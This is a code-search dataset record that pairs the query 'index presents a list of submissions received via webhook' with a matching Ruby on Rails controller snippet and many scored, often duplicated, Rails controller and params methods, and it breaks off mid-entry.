3023bbfd2874f1195f8ed7f99d1b86c6 | index presents a list of submissions received via webhook | [
{
"docid": "628d89d86ab2ccb9b8995bc4e189af9b",
"score": "0.73541856",
"text": "def index\n @submissions = tool_proxy.submissions\n end",
"title": ""
}
] | [
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f3d1bce8002850cf14218c16364705dd",
"score": "0.7756235",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "f091f2146e46771a31d341afece02da4",
"score": "0.77013737",
"text": "def index\n @form_submissions = FormSubmission.all\n end",
"title": ""
},
{
"docid": "3c0f7b38875140b2a90bcace97a81414",
"score": "0.7639",
"text": "def index\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "295d75c5051169fdfbab88c92916dfb2",
"score": "0.7432915",
"text": "def index\n @submissions = Submission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submissions }\n end\n end",
"title": ""
},
{
"docid": "f245825dcdeccb3baacdf60a334459b1",
"score": "0.7418777",
"text": "def index\n check_admin\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "c035da2d8863a7da3d63132b1ee49d30",
"score": "0.7408139",
"text": "def index\n @user_event_submissions = UserEventSubmission.all\n end",
"title": ""
},
{
"docid": "506a58c00cc91c41deda829c385d2607",
"score": "0.7386352",
"text": "def index\n @submissions = @project.submissions.all\n end",
"title": ""
},
{
"docid": "a36feb5cec33d1451a15432067988626",
"score": "0.7359149",
"text": "def index\n raise ActionController::RoutingError.new(\"Not Found\") if @form.user_id != current_user.id\n @submissions = Submission.where(form_id: @form.id)\n end",
"title": ""
},
{
"docid": "302a470f4b386ce3b6b12d6fb9a5f182",
"score": "0.73584586",
"text": "def index\n @submissions = ResponsePlan.submitted\n end",
"title": ""
},
{
"docid": "d7f630b7973a06af7c7a946ba0fc0cdb",
"score": "0.7352311",
"text": "def index\n @submission_runs = SubmissionRun.all\n end",
"title": ""
},
{
"docid": "727bb8332e5e8891f7682733330c456d",
"score": "0.7301989",
"text": "def index\n @title = '最近提交'\n @submissions = Submission.paginate(:page => params[:page])\n end",
"title": ""
},
{
"docid": "1cff04c276f5317cbcd36a28b97da1f5",
"score": "0.7274506",
"text": "def index\n @submissions = Submission.where(user_id: current_user.id).all\n end",
"title": ""
},
{
"docid": "866253e18d65db30033693a61cf5d266",
"score": "0.72327805",
"text": "def index\n if !current_user.admin\n redirect_to root_path\n end\n\n @submissions = Submission.where(\n :approval => true,\n :year => Setting.year,\n ).order(:last_name)\n end",
"title": ""
},
{
"docid": "decf7fea965f9822745410223679c9ae",
"score": "0.7165712",
"text": "def submissions\n __log_activity\n __debug_route\n default_format(:json)\n @name, @list = get_submission_records\n respond_to(request.format)\n end",
"title": ""
},
{
"docid": "07f34849ab5c6539d9e240b567dda22b",
"score": "0.7127681",
"text": "def index\n @submissions = Submission.all\n @users = User.all\n end",
"title": ""
},
{
"docid": "d3fcb562e9a5254a61e765dd3ed7cd7b",
"score": "0.7100127",
"text": "def index\n @submissions = Submission.all.order(updated_at: 'desc')\n end",
"title": ""
},
{
"docid": "73a493279e364e6803156774480d24c4",
"score": "0.7070981",
"text": "def index\n @title = \"Webhook Event Requests\"\n @webhook_event_requests = WebhookEventRequest.all\n end",
"title": ""
},
{
"docid": "77c4fb8fd72d3b220271d79d0a24f1c3",
"score": "0.70205647",
"text": "def index\n @submissions = current_user.submissions.order(created_at: :desc)\n end",
"title": ""
},
{
"docid": "b3d7cb951604e58957217cac01ccd284",
"score": "0.6983361",
"text": "def index\n render json: @event.submissions.order(created_at: :desc)\n end",
"title": ""
},
{
"docid": "9a888f33912d9135f46ee9e90a2ffcfd",
"score": "0.69829303",
"text": "def index\n @challenge = Challenge.find(params[:challenge_id])\n @submissions = @challenge.submissions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @submissions }\n end\n end",
"title": ""
},
{
"docid": "f7c38f2c476517f24798ba3ffe708ca1",
"score": "0.69346225",
"text": "def index\n i = params[:issue_id]\n @issue = Issue.choose_issue(i)\n @submissions = Submission.where(\"issue_id = ?\", @issue)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submissions }\n end\n end",
"title": ""
},
{
"docid": "7ff50d9da1ef3cc5f0ce2016f72a7ad0",
"score": "0.6924117",
"text": "def index\n @webhook_event_requests = WebhookEventRequest.all\n end",
"title": ""
},
{
"docid": "8e41874dc44fa5243f5f8688fa575f2c",
"score": "0.69233483",
"text": "def index\n @submission_revisions = SubmissionRevision.all\n end",
"title": ""
},
{
"docid": "8a5153e6fe74fff71b53d09148641f55",
"score": "0.68994236",
"text": "def index\n @submissions = Submission.order created_at: :desc\n end",
"title": ""
},
{
"docid": "6ec0e0725313df5430dde3eb2b903c91",
"score": "0.6895594",
"text": "def index\n @submissions = Submission.all\n @users = User.all\n @challenges = Challenge.all\n end",
"title": ""
},
{
"docid": "a9461a93af8610152656cc822d18fc75",
"score": "0.6879053",
"text": "def index\n @app_submissions = AppSubmission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @app_submissions }\n end\n end",
"title": ""
},
{
"docid": "17d6c59b31322733ee01beca85b8d299",
"score": "0.68772155",
"text": "def queue\n\n\n\n\n # set topbar highlight\n @highlight_queue = true\n \n @submissions = Submission.queue_list\n\n respond_to do |format|\n flash.keep\n format.html # index.html.erb\n format.json { render json: @submissions }\n end\n end",
"title": ""
},
{
"docid": "031aa51052c64c3c3591a1a26d90c7be",
"score": "0.68651175",
"text": "def index\n @submission_test_results = SubmissionTestResult.all\n end",
"title": ""
},
{
"docid": "740b853083d96f89b279a00d933117b3",
"score": "0.6848717",
"text": "def index\n if !session[:goals].present?\n session[:goals] = []\n end\n \n @submissions = Submission.order(\"goals desc\").page(params[:page]).per(15)\n params[:page].present? ? @page = params[:page].to_i : @page = 1\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submissions }\n end\n end",
"title": ""
},
{
"docid": "d0956f1b313a004a2b47914c37c42bc8",
"score": "0.6847694",
"text": "def index\n @quiz_submissions = QuizSubmission.all\n end",
"title": ""
},
{
"docid": "bbc66ae2a2315cbad5651c4949d8789e",
"score": "0.6846041",
"text": "def index\n @submissions = Submission.all.order(\"created_at DESC\")\n end",
"title": ""
},
{
"docid": "2ca9baa1da6b274ff5dfde766aa64db0",
"score": "0.68164074",
"text": "def index\n @webhooks = Webhook.all\n end",
"title": ""
},
{
"docid": "2ca9baa1da6b274ff5dfde766aa64db0",
"score": "0.68164074",
"text": "def index\n @webhooks = Webhook.all\n end",
"title": ""
},
{
"docid": "f2175948421bca65747ce822bfae91be",
"score": "0.68148434",
"text": "def index\n @test_submission_responses = TestSubmissionResponse.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @test_submission_responses }\n end\n end",
"title": ""
},
{
"docid": "23631864622adbe61c2b540f270969fd",
"score": "0.6785409",
"text": "def index\r\n\r\n @submissions = []\r\n @should_show_admin_data = false\r\n\r\n get_submissions_assigned_to(current_user.id, @submissions)\r\n\r\n # fills in the data tables for each proposal\r\n get_data_for_each_proposal(current_user.id, @submissions, false)\r\n \r\n end",
"title": ""
},
{
"docid": "1a3e00d3fe6207775adbeed5e2ea1935",
"score": "0.6782931",
"text": "def index\n @subs = Submission.find_submissions_for_user(current_user, params)\n if request.xhr?\n render :partial => 'shared/submissions_table', :layout => false\n else\n render 'index'\n end\n end",
"title": ""
},
{
"docid": "e76fc5b0d7efbef3f80406fd4d3d685e",
"score": "0.6770792",
"text": "def index\n @submissions = @assignment.submissions\n end",
"title": ""
},
{
"docid": "4b7b56939ce4e91a3980e88f09c7bb80",
"score": "0.6752306",
"text": "def index\n @submissions = @form.submissions.paginate(:page => params[:page], :per_page => 5)\n authorize @submissions\n end",
"title": ""
},
{
"docid": "feb15e68944ef63a7784c215b9b6494a",
"score": "0.67393416",
"text": "def index\n latest_record_counter = 0\n @submission_records = SubmissionRecord.where(team_id: params[:team_id])\n @submission_records.reverse.each do |record|\n matches = GIT_HUB_REGEX.match(record.content)\n if matches.nil?\n else\n if record.operation == \"Submit Hyperlink\"\n if latest_record_counter.zero?\n update_git_data(record.id)\n else\n git_data_cleanup(record.id)\n end\n end\n latest_record_counter += 1\n end\n end\n end",
"title": ""
},
{
"docid": "76352f7a85c7febf9bf42e6ecfac2c6e",
"score": "0.67276746",
"text": "def index\n @submissions = apply_scopes(@submissions).distinct.paginate(:order => \"created_at DESC\", :page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @submissions }\n ajax_respond format, :section_id => \"page\"\n end\n end",
"title": ""
},
{
"docid": "9547cee13d29281b9b1e08b159401d3f",
"score": "0.6717853",
"text": "def index\n @submission_records = SubmissionRecord.where(team_id: params[:team_id])\n end",
"title": ""
},
{
"docid": "9547cee13d29281b9b1e08b159401d3f",
"score": "0.6717853",
"text": "def index\n @submission_records = SubmissionRecord.where(team_id: params[:team_id])\n end",
"title": ""
},
{
"docid": "7014868cfc40433948d18a13e6fc0617",
"score": "0.669981",
"text": "def index\n @code_submissions = CodeSubmission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @code_submissions }\n end\n end",
"title": ""
},
{
"docid": "919e8cd0f84d79a4539c7693358b2d84",
"score": "0.66958004",
"text": "def index\n @submissions = Submission.includes(:topic)\n end",
"title": ""
},
{
"docid": "fe903de7af6b49da2c4257d2f4eb69dd",
"score": "0.66865534",
"text": "def index\n @submissions = Submission.list.page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @submissions }\n end\n end",
"title": ""
},
{
"docid": "37d81ffc8a757c72cea129cb9ab64152",
"score": "0.66265446",
"text": "def index\n @assignment = Assignment.find(params[:assignment_id])\n @submissions = Submission.where(assignment_id: @assignment.id)\n end",
"title": ""
},
{
"docid": "3d2afa1be5724e2cb24bd8fd8f576168",
"score": "0.6623314",
"text": "def index\n # submissions\n # TODO: infinite scroll\n page = 1\n if params[:page] != nil\n page = params[:page]\n end\n\n @only_show_teamid = params[:teamid]\n\n if @only_show_teamid == nil\n @records =\n Record.all\n .order(created_at: :desc)\n .offset((page.to_i - 1) * MyConstants::MAX_ROWS)\n .limit(MyConstants::MAX_ROWS)\n else\n @records =\n Record.all\n .order(created_at: :desc)\n end\n\n # scoreboard\n @team_points = nil\n @team_suc_chals = nil\n @team_rank_by_points = nil\n rank_records\n end",
"title": ""
},
{
"docid": "4c193f0c4177a8b73bda42921aa5d949",
"score": "0.66146415",
"text": "def index\n @contributor_submissions = current_user.contributor_submissions\n end",
"title": ""
},
{
"docid": "5f66bc26dcd5241ce2b3dfd47bd46223",
"score": "0.6597825",
"text": "def index\n @assignment_submissions = AssignmentSubmission.all\n end",
"title": ""
},
{
"docid": "92d8ded9dcc9f41779f8cc3600ef3b59",
"score": "0.6592939",
"text": "def index\n @mayo_submissions = MayoSubmission.all\n end",
"title": ""
},
{
"docid": "315365159f0589ec303bb6c8937595fb",
"score": "0.6578201",
"text": "def index\n if params[:user_id] && user = User.find(params[:user_id])\n @submissions = Submission.find_all_by_user_id user.id\n else\n @submissions = Submission.all\n end\n end",
"title": ""
},
{
"docid": "99da04ade98b126416dbb5609f5fae8b",
"score": "0.6544626",
"text": "def index\n # get initial submission list\n @submissions = Submission.all\n # filter submissions\n if params.key?(:voted_by_me) # filter by voter\n if user_is_logged?\n @submissions = @submissions.select {|s| current_user.voted_for? s }\n else\n respond_to do |format|\n format.html { redirect_to '/auth/google_oauth2' }\n format.json { render json: {error: \"provide valid API key in Token header field\"}, status: :unauthorized }\n end\n end\n end\n if params.key?(:created_by) # filter by creator\n if User.exists?(params[:created_by])\n @submissions = @submissions.select {|s| s.user.id.to_s == params[:created_by] }\n else\n respond_to do |format|\n format.json { render json: {created_by: \"given userID doesn't match any existing user\"}, status: :not_found }\n end\n end\n end\n if params.key?(:type) # filter by submission type\n if params[:type] == \"ask\"\n @submissions = @submissions.select {|s| s.is_ask? }\n elsif params[:type] == \"url\"\n @submissions = @submissions.select {|s| s.is_url? }\n end\n end\n # sort submissions (default: points)\n if params.key?(:sort_by)\n if params[:sort_by] == \"created_at\"\n @submissions = @submissions.sort_by {|s| s.created_at }.reverse\n elsif params[:sort_by] == \"points\"\n @submissions = @submissions.sort_by {|s| -s.cached_votes_score }\n else\n @submissions = @submissions.sort_by {|s| -s.cached_votes_score }\n end\n end\n end",
"title": ""
},
{
"docid": "ff9264dfcdd24dd759ed23a482db086a",
"score": "0.65344363",
"text": "def index\n @submits = Submit.where(user_id: current_user.id)\n end",
"title": ""
},
{
"docid": "50a3f4ff9e5808c7d10a7a84b3eb99c3",
"score": "0.6522095",
"text": "def index\n @submissions = initialize_grid(Submission, \n :order => 'submissions.id',\n :order_direction => 'desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json do\n render :json => Submission.where(:status => 0).select(:id) \n end\n end\n end",
"title": ""
},
{
"docid": "bcf2af5a06d32b79c0aed287409da805",
"score": "0.65171677",
"text": "def submissions\n @form = Form.find(params[:id])\n @sub_array = []\n @hash = Hash.new\n @subs = FormSubmission.where(:form_id => @form.id)\n @results = @subs.paginate :page => params[:page], :order => \"created_at DESC\"\n end",
"title": ""
},
{
"docid": "b23edb412cce9389dbec2f99cd02a017",
"score": "0.6515374",
"text": "def show\n @submissions = Submission.all\n end",
"title": ""
},
{
"docid": "1c8e1cbbabdee891d2c4af47dce4aa1b",
"score": "0.64963967",
"text": "def index\n if user_signed_in?\n @submissions = Submission.all.select{|s| s.user_id == current_user.id}\n @submissions = @submissions.sort_by{|c| c.created_at}.reverse()\n else\n redirect_to new_user_session_url, notice: 'Login required.'\n end\n end",
"title": ""
},
{
"docid": "6ad77db652c602cde43946e2657ce92c",
"score": "0.648859",
"text": "def index\n @incoming_hooks = IncomingHook.all\n end",
"title": ""
},
{
"docid": "2929b98dad9fe54b506d7347fbae5319",
"score": "0.6473647",
"text": "def index\n @user = @current_user\n @problems = @user.available_problems\n\n if params[:problem_id]==nil\n @problem = nil\n @submissions = nil\n else\n @problem = Problem.find_by_id(params[:problem_id])\n if (@problem == nil) or (not @problem.available)\n redirect_to list_main_path\n flash[:error] = 'Authorization error: You have no right to view submissions for this problem'\n return\n end\n @submissions = Submission.find_all_by_user_problem(@user.id, @problem.id).order(id: :desc)\n end\n end",
"title": ""
},
{
"docid": "ef0f770e38bd99d61613f25a78b841c7",
"score": "0.646902",
"text": "def index\n @weeks = Week.all.order(:id)\n @submission = Submission.new\n end",
"title": ""
},
{
"docid": "425191403ac39da36eb21f8711411f42",
"score": "0.64605075",
"text": "def my_submissions_all\n end",
"title": ""
},
{
"docid": "0c89c9e53e1f51f2de8d1269a91f713e",
"score": "0.6446163",
"text": "def index\n authorize! :index, SubmittedAnswer\n @submitted_answers = SubmittedAnswer.order(id: :desc).paginate(:page => params[:page])\n end",
"title": ""
},
{
"docid": "c174b11b7e2730db7464b7be5a365e1d",
"score": "0.6444152",
"text": "def index\n @event_submissions = EventSubmission.all\n authorize @event_submissions\n end",
"title": ""
},
{
"docid": "5b2e23fd716c72ab583ca06425266df5",
"score": "0.644167",
"text": "def index\n @submission_reviews = SubmissionReview.all\n end",
"title": ""
},
{
"docid": "b99bc96c8b9661065191ffa7b89abaa8",
"score": "0.64380133",
"text": "def index\n @procedure_submissions = ProcedureSubmission.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @procedure_submissions }\n end\n end",
"title": ""
},
{
"docid": "5e6a8cd84763e149bfc5695767e68883",
"score": "0.64265305",
"text": "def index\n @webhooks = WebhookSubscription.all\n end",
"title": ""
},
{
"docid": "586a7fcbe3cb163d6009e6aaea991b2f",
"score": "0.64181006",
"text": "def index\n params[:by_user] = current_user.id.to_s if params[:filter] == 'my'\n if !params[:by_user].nil? && params[:by_user].to_i != current_user.id\n authorize User.find(params[:by_user]), :inspect?\n end\n authorize Submission.new, :show? if params[:by_user].nil?\n if current_user.openbook? || policy(Problem.new).show?\n authorize Problem.find(params[:by_problem]), :show? unless params[:by_problem].nil?\n @submissions = apply_scopes(Submission)\n else # only allowed to see contest submissions\n @submissions = policy_scope(Submission)\n end\n @submissions = @submissions.order(created_at: :desc).page(params[:page]).per_page(20)\n # TODO: fix submission permissions\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @submissions }\n end\n end",
"title": ""
},
{
"docid": "59d86fac00af7da471dcaec2d9ab4c63",
"score": "0.64171815",
"text": "def index\n @reqs = Req.all\n end",
"title": ""
},
{
"docid": "bd8c3842b7ee19729c25beb533ab7f08",
"score": "0.64107484",
"text": "def index\n @post = Post.order(\"date DESC\").last\n @count = Post.all.count\n @num_nexts = Post.where(\"date > :post_date\", {:post_date => @post.date}).count\n @index_of = 0\n @contact_form = ContactForm.new(params[:contact_form])\n \n @jobs = Job.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @contact_forms }\n end\n end",
"title": ""
},
{
"docid": "573d831bdeda7fa177e13e3f1d3c3a3f",
"score": "0.63877255",
"text": "def index\n u_id = params[:uid]\n if (!u_id || Integer(u_id)!=@current_user.id)\n authorized = @current_user.has_roles(User.roles[:psetter])\n redirect_to :root and return if not authorized\n end\n if u_id\n @submissions = User.find(u_id).submissions.paginate(:page => params[:page], :per_page => 5).order('created_at DESC')\n else\n @submissions = Submission.paginate(:page => params[:page], :per_page => 5).order('created_at DESC')\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submissions }\n end\n end",
"title": ""
},
{
"docid": "bd523f4396246540d883b913c150da68",
"score": "0.63672924",
"text": "def index\n u_id = params[:uid]\n if (!u_id || Integer(u_id)!=@current_user.id)\n authorized = @current_user.has_roles(User.roles[:psetter])\n redirect_to :root and return if not authorized\n end\n if u_id\n @submissions = User.find(u_id).submissions\n else\n @submissions = Submission.all\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @submissions }\n end\n end",
"title": ""
},
{
"docid": "d13b172ce9c16d6750a592eb10cf5a28",
"score": "0.63590294",
"text": "def index\n @work_entries = WorkEntry.all\n end",
"title": ""
},
{
"docid": "2c81694d2157aceb6fa3414cb94c3913",
"score": "0.63583136",
"text": "def index\n #how to show submisstions that are belonged to task/1 task/2 task/3 ...\n # if params[:search]\n # @submissions = Submission.search(params[:search]).order(\"created_at DESC\")\n # else\n # @submissions = Submission.all.order('created_at DESC')\n # end\n\n @submissionsL = Submission.paginate(:page => params[:page], :per_page => 8)\n\n end",
"title": ""
},
{
"docid": "fc144948eafd89d39ba5d88331bf4cd8",
"score": "0.6336322",
"text": "def index\n if current_school.admin\n @extension_submissions = ExtensionSubmission.all\n else\n @extension_submissions = current_school.extension_submissions\n end\n \n end",
"title": ""
},
{
"docid": "bcbf907d7d6153da67daccd6c8b7232c",
"score": "0.63354486",
"text": "def index\n @interviewerfeedbacks = Interviewerfeedback.all\n end",
"title": ""
},
{
"docid": "6365d1be132ba4bcdbb24bf3d71bc7f2",
"score": "0.6333427",
"text": "def index\n if current_profile\n @submissions = Submission.filtered_for_profile(current_profile, per_page: params[:per_page], page: params[:page]) # no scopes (see method)\n else\n @submissions = Submission.published.unfiltered.ordered.paginate(per_page: params[:per_page], page: params[:page])\n end\n end",
"title": ""
},
{
"docid": "742aa7302d61bd712c1cf4ba9740431c",
"score": "0.633267",
"text": "def index\n kick_student_out_of_page\n @quiz_submissions = []\n end",
"title": ""
},
{
"docid": "539b8573c582cf8bca98d8a85ba28671",
"score": "0.632365",
"text": "def index\n\t\t#Ensure that problem_id is passed in as a param, error otherwise\n\t\tproblem_id = problem_id_param\n\t\t#Fetch problem\n\t\t@problem = Problem.find(problem_id)\n\t\t#Fetch all submissions with current user_id and given problem_id\n\t\t@solution_submissions = SolutionSubmission.where(\"user_id = ? AND problem_id = ?\", @current_user.id, problem_id)\n\tend",
"title": ""
},
{
"docid": "1bbb576ea2e0be35ba462128ef2c0742",
"score": "0.6320224",
"text": "def index\n \n end",
"title": ""
},
{
"docid": "875cb3164c0e8a2b7e158dbdf498d44b",
"score": "0.63142204",
"text": "def index\n @slacks = Slack.all\n end",
"title": ""
},
{
"docid": "6af2817178dabc9b0aa87f91e56cfc8b",
"score": "0.6302465",
"text": "def index\n @assignsubmission_files = AssignsubmissionFile.all\n end",
"title": ""
},
{
"docid": "7e5028c7627f7547aa8147b45624ce4a",
"score": "0.6287238",
"text": "def index\n @pull_requests = PullRequest.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.6284797",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.6284797",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.6284797",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.6284797",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
},
{
"docid": "4d49d321b4ef5679b97e40588b4f555e",
"score": "0.6284797",
"text": "def index\n @entries = Entry.all\n end",
"title": ""
}
] |
0c8d35fb78a2e8945f45635779e9e5fa | Each Report will have its own descendant of Params in order to safely add validations | [
{
"docid": "7efb3f1be0882e3f8ced0c51baed0b5b",
"score": "0.0",
"text": "def params_class\n @params_class ||= Class.new(Params)\n end",
"title": ""
}
] | [
{
"docid": "3b9d24e0a4ba9f07481c877edd26bc39",
"score": "0.74609584",
"text": "def report_params\n params.require(:report)\n end",
"title": ""
},
{
"docid": "74bfe102fb6d39115ba0d950c80fe515",
"score": "0.70498544",
"text": "def report_parameter_params\n params.require(:report_parameter).permit(:report_type_id, :name, :dataType, :optional, :referenced_table, :html_visualization)\n end",
"title": ""
},
{
"docid": "f06e1b564de2bd8df6ca6f2d3acef7b2",
"score": "0.69601566",
"text": "def report_params\n \n params.permit(:available_report_id, \n :param1_name, :param1_type, :param1_value,\n :param2_name, :param2_type, :param2_value, \n :param3_name, :param3_type, :param3_value, \n :param4_name, :param4_type, :param4_value, \n :param5_name, :param5_type, :param5_value)\n .merge(created_by: try(:current_user).try(:id) || '',\n protocol: request.protocol, \n host: request.host_with_port)\n end",
"title": ""
},
{
"docid": "b90f255099aa1e966bb2ba65d4592577",
"score": "0.68689674",
"text": "def report_params\n params.require(:report).permit(:name, :record_type_id, :group_by_id, :layout_id, :parameters, :layout, :created_by, :updated_by, :range, :record_type)\n end",
"title": ""
},
{
"docid": "3045ecf9c4732db08b71225573deb548",
"score": "0.6853701",
"text": "def report_params\n params[:report]\n end",
"title": ""
},
{
"docid": "c163234acc75c7b1c525a0d21025e19b",
"score": "0.684193",
"text": "def report_params\n params.require(:report).permit(:name, :test_case, :error, :screenshot, :broken, :result, :comment, :custom_params)\n end",
"title": ""
},
{
"docid": "1c78d68cd3c41e91dda351f3ec04f744",
"score": "0.6839105",
"text": "def report_params\n params.require(:report).permit(:name, :from_date, :to_date, :report_type_id)\n # params.require(:report).permit!\n end",
"title": ""
},
{
"docid": "05be0a68a8a610a33374a863c157a8ce",
"score": "0.68131953",
"text": "def report_params\n params[:report]\n end",
"title": ""
},
{
"docid": "21553f25cea74db08ce6a419106d2645",
"score": "0.6790178",
"text": "def report_params\n params.fetch(:report, {})\n end",
"title": ""
},
{
"docid": "21553f25cea74db08ce6a419106d2645",
"score": "0.6790178",
"text": "def report_params\n params.fetch(:report, {})\n end",
"title": ""
},
{
"docid": "8fe3102a7d9c56ae680974f53612c4e7",
"score": "0.6789981",
"text": "def report_params\n params.require(:report).permit(:name, :value, :service_id, :laboratory_id, :report_template_id, :pdf_options, :value_html)\n end",
"title": ""
},
{
"docid": "0f5b091c7ebbdd6a46c4fd0dcb47279f",
"score": "0.66829026",
"text": "def report_params\n params.require(:report).permit(:name, :date_from, :date_to, :institution, :team, :client, :grant, :i_type)\n end",
"title": ""
},
{
"docid": "1c4dd0bab96d28f98addc63e166fe7cf",
"score": "0.66730684",
"text": "def report_params\n params.require(:report).permit(:user_id, :report_type_id, :planned_at, :report_detail)\n end",
"title": ""
},
{
"docid": "f32b72fa2e855fd950f962884dec690a",
"score": "0.66515994",
"text": "def report_params\n params.require(:report).permit(:opportunity_id, :report_type, :relevant_knowledge, :relevant_knowledge_comment, :punctual, :punctual_comment, :communication, :communication_comment, :enthusiasm, :enthusiasm_comment, :professionalism, :professionalism_comment, :strength, :further_dev, :general_comments, :profile_id, :engagement_id, :engagement_start_date, :engagement_end_date)\n end",
"title": ""
},
{
"docid": "c65250cd9ba78020605ba5836c54bc2d",
"score": "0.6644924",
"text": "def report_params\n params.require(:report).permit(:mailername_id, :invite_sent, :total_recepient, :attending, :unable_to_attend)\n end",
"title": ""
},
{
"docid": "118f314d19719363b9ce9b9036d3b419",
"score": "0.66416776",
"text": "def report_params\n puts \"\\n******** reports_params ********\"\n params.require(:report).permit(:user_id, :beer_price, :wine_price, :cocktails_price, :rating, :comment )\n end",
"title": ""
},
{
"docid": "e8a590fcca8c412e3127a044e6df0741",
"score": "0.6620155",
"text": "def report_params\n params.require(:report).permit(:name, :group, :order, :icon, :params_script, :exec_script, :view_script, :enabled)\n end",
"title": ""
},
{
"docid": "6978b87f15f158d14612cad8559a8670",
"score": "0.66034317",
"text": "def report_params\n params.require(:report).permit(:name, :description)\n end",
"title": ""
},
{
"docid": "095973e3cc50347195585277e34bcefa",
"score": "0.65998244",
"text": "def validate_params\n raise \"Unknown format: #{@format}\" unless @reports_plugins.keys.include? @format\n end",
"title": ""
},
{
"docid": "825a89d1e406099e2bb17a7752618aec",
"score": "0.6590182",
"text": "def report_params\n params.require(:report).permit(:reportable_id, :defender_planet_id, :attacker_planet_id, :fightdate, :defender_id, :attacker_id)\n end",
"title": ""
},
{
"docid": "71cec9a9a7c492bf2ea18662e59f3e80",
"score": "0.65856385",
"text": "def report_params\n params.require(:report).permit(:summary, :description, :report_type, :reporter_name, :reporter_contact_info, :photo, :animal_type_id)\n end",
"title": ""
},
{
"docid": "e067028625f734ad37c1ea94fa45773b",
"score": "0.65803003",
"text": "def report_params\n params.require(:report).permit(:custom_form_id, :name,\n report_fields_attributes:\n [:id, :field_type, :field_value, field_type_ids: [], \n field_aliases: [], value_options: [:from, :to, :days, :include_empty]])\n end",
"title": ""
},
{
"docid": "13dc8c0d12d96fa0cd70632d773e118a",
"score": "0.65748227",
"text": "def report_params\n params.require(:report).permit(:email, :description, :cause, :position_id, :ignored, :fb_id)\n end",
"title": ""
},
{
"docid": "0ad89b2be44fb3422273cd0e81dd5ffe",
"score": "0.6555616",
"text": "def report_params\n params.require(:report).permit(:name)\n end",
"title": ""
},
{
"docid": "0ad89b2be44fb3422273cd0e81dd5ffe",
"score": "0.6555616",
"text": "def report_params\n params.require(:report).permit(:name)\n end",
"title": ""
},
{
"docid": "b9576ac734b4199d5c3267f0a1b79746",
"score": "0.6537497",
"text": "def report_params\n params.permit(:stat_id, :value, :last_edit_by, :department_id, :report_date)\n end",
"title": ""
},
{
"docid": "ebde16408027bb02b2caf02b2ec1f93d",
"score": "0.6516819",
"text": "def report_params\n # puts \"params.permitted?=#{params.permitted?}\"\n # params.require(:notification).permit!\n params.require(:report).permit(\n :accessible_by, :group_ids, :user_id, :report_type, :for_all_users, :name,\n :include_summary, :include_events, :introduction,\n # :auto_run_at, :run_status, :report_criteria, :report_criteria_as_string,\n :auto_run_at, :run_status, :report_criteria,\n report_signature_sections_attributes: [:id, :_destroy, :title, :description, :signature_ids => []]\n )\n end",
"title": ""
},
{
"docid": "d81a10b9a35467b06afcb2ff821d4c0f",
"score": "0.6515067",
